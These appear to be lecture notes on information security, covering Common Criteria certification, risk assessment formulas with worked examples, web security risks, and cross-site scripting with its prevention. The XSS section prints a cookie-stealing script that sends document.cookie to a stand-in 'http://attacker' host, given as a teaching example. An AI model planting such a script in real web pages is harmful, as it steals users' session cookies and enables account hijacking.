- Privacy and Personal Rights: Do not access or copy another user's email, data, programs without permission.

Security Standards

International security standards: Common Criteria (CC):

- The Common Criteria for Information Technology Security Evaluation (abbreviated as Common Criteria or CC) is an international standard (ISO/IEC 15408) for computer security certification.
    - [In 2019, thirty countries (including the United States and Canada) have signed the CC Recognition Arrangement, making it an unparalleled measure of security for the international commerce of IT products.]
- Common Criteria (CC) is an international set of guidelines and specifications developed for evaluating information security products, specifically to ensure they meet an agreed-upon security standard for government deployments.
    - Useful as a guide for the development, evaluation and/or procurement of IT products with security functionality.

Security Standards : Components

Common Criteria has two key components:

- Protection Profiles: defines a standard set of security requirements for a specific type of product. υ Example: a firewall
- Evaluation Assurance Levels: defines how thoroughly the product is tested.
    - Upon vendor submission the product: The laboratory then tests the product to verify the product's security features and evaluates how well it meets the specifications defined in the Protection Profile.
    - The results of a successful evaluation form the basis for an official certification of the product.
- The goal of CC certification is to assure customers that the products they are buying have been evaluated and that the vendor's claims have been verified by a vendor-neutral third party.

Lecture 6

Risk Management

- Asset: An asset is what we're trying to protect. Ex: People, property, and information….
- Threat: Anything that can exploit a vulnerability, intentionally or accidentally, and obtain, damage, or destroy an asset. A threat is what we're trying to protect against.
- Vulnerability: Weaknesses or gaps in a security program that can be exploited by threats to gain unauthorized access to an asset.
- Risk: The potential harm of an asset as a result of a threat exploiting a vulnerability

Information security management (ISM)

ISM defines and manages controls that an organization needs to implement to ensure that it is sensibly protecting the confidentiality, availability, and integrity of assets from threats and vulnerabilities.

major components:

- Risk Management: is the process of understanding and responding to factors that may lead to a failure in the confidentiality, integrity, or availability of an information system.
    - Objective: assure uncertainty does not deflect the aim from the business goals.
    - Steps :
        - Identify the Risk: all the actions and strategies developed to identify risks, and also the documentation that is related.
        - Analyze the risk: Once risks are identified you need to determine the likelihood/chance and consequence of each risk. You develop an understanding of the nature of the risk and its potential to affect project goals and objectives.
        - Rank the Risk: strategies used to identify the level of risk of the assets and the evaluation of potential impacts. Rank the risk by determining the risk magnitude, which is the combination of likelihood and consequence.
        - Risk treatment: Risk Response Planning.
            - Actions involved in the selection of the appropriate security controls, their implementation to recover from risk damages.
            - During this step you assess your highest ranked risks and set out a plan to treat or modify these risks to achieve acceptable risk levels.
            - You create risk mitigation/avoid strategies, preventive plans and contingency plans in this step.

        - Risk Monitoring: Evaluate the performance of corrective actions based on defined metrics.
- Risk Assessment: is executed at discrete time points (e.g. once a year, on demand, etc.) and provides a temporary view of assessed risks.
    - The formula used to determine the risk in the risk assessment is: Risk = Asset + Threat + Vulnerability Thus, Risk is a function of threats exploiting vulnerabilities to obtain, damage or destroy assets.
    - Risks can be seen more clearly through the following simple equation that quantifies a security risk assessment:
      Risk = Value of the Asset X Likelihood of an Attack X Severity of the Vulnerability.
      Here, Likelihood -> the probability of an event occurring.
      In this equation, you can provide a weighting of 1-10 (10 being the most severe or highest) for each risk factor.
      By multiplying the factors, it's easy to arrive at an aggregate security risk assessment for any asset.
    - Example: we have an e-commerce server that performs 60 percent of all customer transactions for the organization, and it has a very severe and easy-to-exploit vulnerability:
        - E-commerce Server Risk = 10 (Value of the Asset) x 10 (Severity of the Vulnerability) x 10 (Likelihood of an Attack). υ In this example, the e-commerce server risk equals 1,000: the highest security risk assessment possible.
        - E-commerce Server Risk = 10 (Value of the Asset) x 4 (Severity of the Vulnerability) x 4 (Likelihood of an Attack). The e-commerce Server Risk = 160, a moderate risk ranking.
        - Intranet Server Risk = 2 (Value of the Asset) x 8 (Severity of the Vulnerability) x 6 (Likelihood of an Attack). The Intranet Server Risk = 96, a lower security risk assessment ranking.

      Even though the Intranet server has greater vulnerability, the value of the asset creates a lower relative risk value than the e-commerce server.

      This way allows organizations to make wise decisions to optimize the protection of their assets

How Web applications and Web servers create risk?

- Web servers and applications are open systems and information to be accessed by users.
- Performing a security risk assessment and implementing adequate security risk management policies in this area can be critical.

Web Security Risk Management plan(1)

The core 'points of pain' to be addressed in your Web security risk management plan:

- Default configuration: it may not be secure.
    - Without appropriate security risk management, this can lead to several types of attacks that allow hackers to gain complete control over the Web server.
- User input validation: Invalid input leads to many of the most popular attacks.
    - A thorough security risk assessment on your organization's web applications can reveal what, if any, actions need to be taken.
- Encryption: although it is costly however should be consider in the risk management system.
- Secure data storage: While it is critical to secure data in transit, it is just as important to implement security risk management policies that ensure that data is being stored securely.
- Session management: This can include using weak authentication methods, poor cookie management, failure to create session timeouts, and other session weaknesses.
    - A security risk assessment can determine whether this is a potential problem for your organization.
- Maintenance: Failure to implement security risk management policies that keep Web servers updated with the latest vendor patches, creates additional risk.

Information Security Policy vs. Risk Management System

- An information security policy sets of rules, guidance, and goals for information security within an organization.
- When planning on how to achieve these goals, this organization has to define the respective process, the needed resources, responsibilities etc.
- To define these key aspects, you have to conduct an information security risk assessment. So, risk management is mandatory to establish security policy as well as security model.

Malicious Code injection and XSS

- Direct attack. Example: command injection, SQL injection.
- Indirect attack. XSS

XSS Attacks

- The website: Serves HTML pages to users who request them.
- The Victim: is a normal user of the website who requests pages from it using his browser.

- The attacker: is a malicious user of the website who intends to launch an attack on the victim by exploiting an XSS vulnerability in the website. υ Attacker server: say, http://attacker

steal the victim's cookies ：

```
<script>
    window.location='http://attacker/?cookie='+document.cookie
</script>
```

XSS Attacks steps ：

- The attacker uses one of the website's forms to insert a malicious string into the website's database.
- The victim requests a page from the website.
- The website includes the malicious string from the database in the response and sends it to the victim.
- The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.

XSS Attacks: Types

Stored XSS:

- where the malicious script originates from the website's database.
- The previous example was stored XSS

Reflected XSS:

- where the malicious script originates from the victim's request.
- the malicious string is part of the victim's request to the website.
- The website then includes this malicious string in the response sent back to the user.

Reflected XSS steps:

- The attacker crafts a URL containing a malicious string and sends it to the victim.
- The victim is tricked by the attacker into requesting the URL from the website.
- The website includes the malicious string from the URL in the response.
- The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
- In reflected XSS: It requires the victim himself to actually send a request containing a malicious string. Social engineering might be necessary….

XSS attack: Preventing XSS

As XSS attack is a type of code injection, secure input handling is needed.

For a web developer, there are two different ways:

- Output Encoding: convert untrusted input into a safe form where the input is displayed as data to the user without executing as code in the browser. For details:
- https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#:~:text=HTML%20Sanitization,Sometimes%20users%20need&text=Output%20encoding%20here%20will%20prevent,HTML%20Sanitization%20should%20be%20used.
- Input Validation: which filters the user input so that the browser interprets it as code without malicious commands.
    - Blacklisting: check for forbidden patterns. More complex.
    - Whitelisting: check for allowed pattern only and marks input as invalid if it does not match this pattern. It is simpler than blacklisting.